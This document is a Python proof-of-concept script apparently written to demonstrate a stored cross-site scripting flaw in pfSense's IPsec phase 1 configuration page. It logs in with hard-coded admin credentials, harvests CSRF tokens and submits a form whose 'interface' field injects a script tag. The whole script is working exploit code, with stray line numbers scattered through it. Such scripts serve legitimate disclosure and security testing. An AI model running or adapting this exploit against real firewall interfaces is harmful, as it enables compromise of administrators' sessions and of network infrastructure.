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1
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#!/usr/bin/env python3
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2
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import requests
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requests.packages.urllib3.disable_warnings()
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from bs4 import BeautifulSoup
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baseurl = 'https://198.51.100.34'
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7
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target = baseurl + '/vpn_ipsec_phase1.php'
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9
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login_data = {
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'login' : 'Login',
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'usernamefld' : 'admin',
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'passwordfld' : 'pfsense2',
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}
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15
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target_data = {
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"descr": "XSS Test",
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"iketype": "ikev2",
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"protocol": "inet",
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"interface": 'wan"><script>alert(\'XSS\')</script>',
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"remotegw": "198.51.100.254",
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"authentication_method": "pre_shared_key",
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"mode": "main",
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"myid_type": "myaddress",
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"myid_data": "",
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"peerid_type": "peeraddress",
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"peerid_data": "",
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"pskey": "14e1206aafd9bb66a9469c0ee1f570c60ccb283b7cca6192fecf78e1",
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"ealgo_algo0": "aes",
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"ealgo_keylen0": "128",
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"halgo0": "sha256",
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"dhgroup0": "14",
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"prfalgo0": "sha256",
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34
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"lifetime": "28800",
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"rekey_time": "",
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"reauth_time": "",
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"rand_time": "",
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"startaction": "",
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"closeaction": "",
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"nat_traversal": "on",
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"mobike": "off",
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"ikeport": "",
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"nattport": "",
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"dpd_enable": "yes",
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"dpd_delay": "10",
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"dpd_maxfail": "5",
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"ikeid": "",
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"save": "Save"
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}
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headers = {'user-agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0'}
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with requests.Session() as s:
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# Fetch CSRF token from login page
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r = s.get(baseurl, headers=headers, verify=False)
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soup = BeautifulSoup(r.text, 'lxml')
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login_data['__csrf_magic'] = soup.find('input', attrs = { 'name' : '__csrf_magic' })['value']
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# Login
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r = s.post(baseurl, data=login_data, headers=headers)
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# Find the next CSRF token
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soup = BeautifulSoup(r.text, 'lxml')
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target_data['__csrf_magic'] = soup.find('input', attrs = { 'name' : '__csrf_magic' })['value']
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# Submit actual request
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r = s.post(target, data=target_data, headers=headers)
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69
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# Dump input errors from response
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soup = BeautifulSoup(r.text, 'lxml')
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input_errors = [errors.text for errors in soup.select('div.input-errors ul li')]
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if (input_errors):
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print("Input errors:\n")
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for ie in input_errors:
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print("* " + ie + "\n")
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print('Done')
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